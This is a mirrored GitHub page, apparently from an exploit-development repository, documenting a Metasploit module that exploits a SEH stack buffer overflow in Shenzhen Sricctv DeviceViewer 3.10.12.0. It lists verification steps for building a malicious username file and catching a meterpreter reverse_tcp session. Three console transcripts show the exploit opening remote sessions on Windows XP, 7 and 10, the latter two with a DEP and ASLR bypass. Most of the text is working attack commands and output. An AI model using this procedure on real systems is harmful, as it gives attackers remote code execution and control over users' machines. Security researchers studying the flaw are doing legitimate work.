mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
VoidSec
226 lines
8.9 KiB
Markdown
226 lines
8.9 KiB
Markdown
## Vulnerable Application
|
|
|
|
This module exploits a SEH stack buffer overflow in Shenzhen Sricctv Technology DeviceViewer version 3.10.12.0. By creating a specially crafted "Username" and copying its value in the DeviceViewer's "User" login field, an attacker will be able to gain arbitrary code execution in the context of currently logged-in user.
|
|
|
|
Link to vulnerable software [EDB](https://www.exploit-db.com/apps/4d10486a079bd1f1864c30e86cd2aa80-DeviceViewer.exe) - [VoidSec](https://github.com/VoidSec/Exploit-Development/blob/master/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe)
|
|
|
|
## Verification Steps
|
|
Example steps in this format (is also in the PR):
|
|
|
|
1. Install the application on the target machine
|
|
2. Start msfconsole
|
|
3. Do: ```use exploit/windows/fileformat/device_viewer```
|
|
4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
|
|
5. Do: ```set LHOST [IP]```
|
|
6. Do: ```exploit```
|
|
7. This file will be created: ```DeviceViewer_v.3.10.12.0_exploit.txt stored at /home/[USER]/.msf4/local/DeviceViewer_v.3.10.12.0_exploit.txt```
|
|
8. Do: ```use exploit/multi/handler```
|
|
9. Do: ```set payload [windows/meterpreter/reverse_tcp]```
|
|
10. Do: ```set LHOST [IP]```
|
|
11. Do: ```exploit```
|
|
12. Do: on the target Windows machine open Device Viewer
|
|
13. Device Viewer's will present a login prompt
|
|
14. Do: paste the content of `DeviceViewer_v.3.10.12.0_exploit.txt` in the "User" field
|
|
15. Do: press the "Login" button
|
|
16. The handler will receive the newly created session as the Windows currently logged-in user
|
|
|
|
## Options
|
|
|
|
**FILENAME**
|
|
|
|
The file name
|
|
|
|
## Scenarios
|
|
|
|
### Shenzhen Sricctv Technology DeviceViewer v.3.10.12.0 on Windows XP Pro x86 v.5.1.2600 SP 3 Build 2600 (ASLR and DEP are disabled on default configuration)
|
|
|
|
```
|
|
msf5 > use exploit/windows/fileformat/device_viewer
|
|
msf5 exploit(windows/fileformat/device_viewer) > set target 2
|
|
target => 2
|
|
msf5 exploit(windows/fileformat/device_viewer) > set payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
msf5 exploit(windows/fileformat/device_viewer) > set lhost 192.168.0.4
|
|
lhost => 192.168.0.4
|
|
msf5 exploit(windows/fileformat/device_viewer) > show options
|
|
|
|
Module options (exploit/windows/fileformat/device_viewer):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
FILENAME DeviceViewer_v.3.10.12.0_exploit.txt no The file name.
|
|
|
|
|
|
Payload options (windows/meterpreter/reverse_tcp):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
EXITFUNC seh yes Exit technique (Accepted: '', seh, thread, process, none)
|
|
LHOST 192.168.0.4 yes The listen address (an interface may be specified)
|
|
LPORT 4444 yes The listen port
|
|
|
|
**DisablePayloadHandler: True (no handler will be created!)**
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
2 DeviceViewer v.3.10.12.0 - Windows XP Pro x86 SEH
|
|
|
|
|
|
msf5 exploit(windows/fileformat/device_viewer) > run
|
|
|
|
[*] Creating 'DeviceViewer_v.3.10.12.0_exploit.txt' file ...
|
|
[+] DeviceViewer_v.3.10.12.0_exploit.txt stored at /root/.msf4/local/DeviceViewer_v.3.10.12.0_exploit.txt
|
|
|
|
msf5 exploit(windows/fileformat/device_viewer) > use exploit/multi/handler
|
|
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
msf5 exploit(multi/handler) > set lhost 192.168.0.4
|
|
lhost => 192.168.0.4
|
|
msf5 exploit(multi/handler) > run
|
|
|
|
[*] Started reverse TCP handler on 192.168.0.4:4444
|
|
[*] Sending stage (176195 bytes) to 192.168.0.244
|
|
[*] Meterpreter session 1 opened (192.168.0.4:4444 -> 192.168.0.244:1065) at 2020-05-07 14:25:38 +0200
|
|
|
|
meterpreter > sysinfo
|
|
Computer : SYSOP-D8827A2B3
|
|
OS : Windows XP (5.1 Build 2600, Service Pack 3).
|
|
Architecture : x86
|
|
System Language : en_US
|
|
Domain : WORKGROUP
|
|
Logged On Users : 2
|
|
Meterpreter : x86/windows
|
|
meterpreter > getuid
|
|
Server username: SYSOP-D8827A2B3\Administrator
|
|
```
|
|
|
|
### Shenzhen Sricctv Technology DeviceViewer v.3.10.12.0 on Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601 (Windows enforces ASLR and DEP automatically on default configuration)
|
|
```
|
|
msf5 > use exploit/windows/fileformat/device_viewer
|
|
msf5 exploit(windows/fileformat/device_viewer) > set target 1
|
|
target => 1
|
|
msf5 exploit(windows/fileformat/device_viewer) > set payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
msf5 exploit(windows/fileformat/device_viewer) > set lhost 192.168.0.4
|
|
lhost => 192.168.0.4
|
|
msf5 exploit(windows/fileformat/device_viewer) > show options
|
|
|
|
Module options (exploit/windows/fileformat/device_viewer):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
FILENAME DeviceViewer_v.3.10.12.0_exploit.txt no The file name.
|
|
|
|
|
|
Payload options (windows/meterpreter/reverse_tcp):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
EXITFUNC seh yes Exit technique (Accepted: '', seh, thread, process, none)
|
|
LHOST 192.168.0.4 yes The listen address (an interface may be specified)
|
|
LPORT 4444 yes The listen port
|
|
|
|
**DisablePayloadHandler: True (no handler will be created!)**
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
1 DeviceViewer v.3.10.12.0 - Windows 7 (DEP + ASLR Bypass)
|
|
|
|
|
|
msf5 exploit(windows/fileformat/device_viewer) > run
|
|
|
|
[*] Creating 'DeviceViewer_v.3.10.12.0_exploit.txt' file ...
|
|
[+] DeviceViewer_v.3.10.12.0_exploit.txt stored at /root/.msf4/local/DeviceViewer_v.3.10.12.0_exploit.txt
|
|
|
|
msf5 exploit(windows/fileformat/device_viewer) > use exploit/multi/handler
|
|
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
msf5 exploit(multi/handler) > set lhost 192.168.0.4
|
|
lhost => 192.168.0.4
|
|
msf5 exploit(multi/handler) > run
|
|
|
|
[*] Started reverse TCP handler on 192.168.0.4:4444
|
|
[*] Sending stage (176195 bytes) to 192.168.0.219
|
|
[*] Meterpreter session 1 opened (192.168.0.4:4444 -> 192.168.0.219:49206) at 2020-05-08 10:29:18 +0200
|
|
|
|
meterpreter > sysinfo
|
|
Computer : WIN-C70LNBNJMC8
|
|
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
|
|
Architecture : x86
|
|
System Language : en_US
|
|
Domain : WORKGROUP
|
|
Logged On Users : 1
|
|
Meterpreter : x86/windows
|
|
meterpreter > getuid
|
|
Server username: WIN-C70LNBNJMC8\Admin
|
|
```
|
|
|
|
### Shenzhen Sricctv Technology DeviceViewer v.3.10.12.0 on Windows 10 Pro x64 v.1909 Build 18363.720 (Windows enforces ASLR and DEP automatically on default configuration)
|
|
```
|
|
msf5 > use exploit/windows/fileformat/device_viewer
|
|
msf5 exploit(windows/fileformat/device_viewer) > set target 0
|
|
target => 0
|
|
msf5 exploit(windows/fileformat/device_viewer) > set payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
msf5 exploit(windows/fileformat/device_viewer) > set lhost 192.168.0.4
|
|
lhost => 192.168.0.4
|
|
msf5 exploit(windows/fileformat/device_viewer) > show options
|
|
|
|
Module options (exploit/windows/fileformat/device_viewer):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
FILENAME DeviceViewer_v.3.10.12.0_exploit.txt no The file name.
|
|
|
|
|
|
Payload options (windows/meterpreter/reverse_tcp):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
EXITFUNC seh yes Exit technique (Accepted: '', seh, thread, process, none)
|
|
LHOST 192.168.0.4 yes The listen address (an interface may be specified)
|
|
LPORT 4444 yes The listen port
|
|
|
|
**DisablePayloadHandler: True (no handler will be created!)**
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
0 DeviceViewer v.3.10.12.0 - Windows 10 (DEP + ASLR Bypass)
|
|
|
|
|
|
msf5 exploit(windows/fileformat/device_viewer) > run
|
|
|
|
[*] Creating 'DeviceViewer_v.3.10.12.0_exploit.txt' file ...
|
|
[+] DeviceViewer_v.3.10.12.0_exploit.txt stored at /root/.msf4/local/DeviceViewer_v.3.10.12.0_exploit.txt
|
|
|
|
msf5 exploit(windows/fileformat/device_viewer) > use exploit/multi/handler
|
|
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
msf5 exploit(multi/handler) > set lhost 192.168.0.4
|
|
lhost => 192.168.0.4
|
|
msf5 exploit(multi/handler) > run
|
|
|
|
[*] Started reverse TCP handler on 192.168.0.4:4444
|
|
[*] Sending stage (176195 bytes) to 192.168.0.61
|
|
[*] Meterpreter session 1 opened (192.168.0.4:4444 -> 192.168.0.61:49851) at 2020-05-07 15:40:48 +0200
|
|
|
|
meterpreter > sysinfo
|
|
Computer : DESKTOP-81HH37O
|
|
OS : Windows 10 (10.0 Build 18363).
|
|
Architecture : x64
|
|
System Language : en_GB
|
|
Domain : WORKGROUP
|
|
Logged On Users : 1
|
|
Meterpreter : x86/windows
|
|
meterpreter > getuid
|
|
Server username: DESKTOP-81HH37O\user
|
|
``` |